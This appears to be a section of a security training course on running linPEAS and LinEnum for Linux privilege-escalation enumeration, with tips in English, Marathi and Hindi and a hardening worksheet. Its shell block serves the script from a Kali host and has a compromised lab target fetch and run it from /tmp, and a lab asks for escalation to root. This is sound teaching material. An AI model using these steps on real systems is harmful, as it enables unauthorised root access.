26.4 Automated Enumeration: linPEAS and LinEnum

By Ravindra Bagale Last updated: 15 October 2026

Manual commands changle, pan linPEAS ani LinEnum he scripts sagli tapasani aapoaap kartat ani sambhavya escalation paths highlight kartat (rangit output madhe).

# on Kali: serve the script; on the target: download and run (lab only)
# Kali:
cd /usr/share/peass/linpeas 2>/dev/null || echo "install: sudo apt install peass"
python3 -m http.server 8000
# target (the compromised lab shell):
cd /tmp
wget http://192.168.56.10:8000/linpeas.sh
chmod +x linpeas.sh
./linpeas.sh | tee linpeas_out.txt      # read the RED/YELLOW highlights
# LinEnum is similar:
./LinEnum.sh -t

linPEAS marks the most promising findings in colour (red/yellow = likely escalation). It checks sudo rights, SUID, cron, writable files, passwords in files, kernel version and much more – in seconds.

Ravindra Bagale's Tip

linPEAS produces a lot of output and students panic. Look at the red/yellow highlights first – those are the real leads. And always run the script from /tmp (you have write permission there). Automated tool first, then confirm manually.

Ravindra Bagale's Tip – मराठी

linPEAS खूप output देतो – students घाबरतात. फक्त red/yellow highlights आधी बघा, तेच खरे leads असतात. आणि script नेहमी /tmp मधून चालवा (तिथे write permission असते). Automated tool आधी, मग manual confirm.

Ravindra Bagale's Tip – हिंदी

linPEAS बहुत output देता है – students घबरा जाते हैं. पहले सिर्फ़ red/yellow highlights देखो, वही असली leads होते हैं. और script हमेशा /tmp से चलाओ (वहाँ write permission होती है). Automated tool पहले, फिर manual confirm.

Lab

Run linPEAS on Metasploitable 2 from your Chapter 23 shell. List the top three red/yellow findings and, for one of them, escalate to root manually. Compare what linPEAS found with your manual enumeration from 26.2.

Using LinPEAS output to harden

LinPEAS highlights likely escalation paths. On a lab VM, read the red/yellow findings and fix them as if the machine were production.

Run LinPEAS on your lab only.
For each highlighted sudo rule, decide if it is required.
Replace world-writable scripts.
Remove backup copies of shadow or history files that contain secrets.

Everyday analogy

A home safety inspection list. You do not celebrate the findings. You fix the loose railing.

Recap

Enumerate → fix → re-enumerate.
Own hosts only.

Defender's worksheet (do this today)

Write the lesson title and date in your notebook.
List three systems you own (VMs, personal projects, or lab apps) where this lesson applies.
Run one safe command or checklist item from the lesson on a lab system only.
Paste the command and its output under an Evidence heading.
Write one fix you would give a teammate in two sentences.
Write one mistake students make with this topic and how to avoid it.

More real-world pictures

Indian workplace (sample data)

Suppose we are a junior analyst at Tech Mahindra supporting a client SOC. After reading this lesson you add one detection or one hardening item to the team weekly checklist, with the owner name and a due date. That is how learning becomes operations.

Global practice

Public bodies such as CERT-In (India), CISA (US) and NCSC (UK) publish advisories that map to the same ideas: patch, least privilege, logging and user awareness. Bookmark one advisory feed and read it every Monday.

Home and family

Explain this lesson to a family member in four sentences without jargon. If they can repeat the main warning back to you, you understand it well enough to teach.

Connect to earlier chapters

Parts 1 to 9 built Linux, web servers, databases and cloud pieces. This lesson only makes sense when you can point to a concrete config file, package name or architecture box from those parts. If you cannot, revisit the matching earlier chapter before you practise any tool command.

Common mistakes

Skipping written permission just for a quick scan.
Practising on hostel or office Wi-Fi targets without authorisation.
Collecting tool output without writing the fix.
Copying exploit commands onto production to verify. Verification for defenders means checking versions and patches, not firing modules.

Recap

Evidence, fix, owner, date.
Own lab only.
Teach one other person the warning from this lesson.

Sample LinPEAS triage (lab only)

Suppose LinPEAS highlights a world-writable script in /etc/cron.daily and a sudo rule for vim. You remove the world-write bit, move the script to a root-owned path, and replace the vim sudo rule with a safer workflow. Re-run LinPEAS and confirm those lines are gone.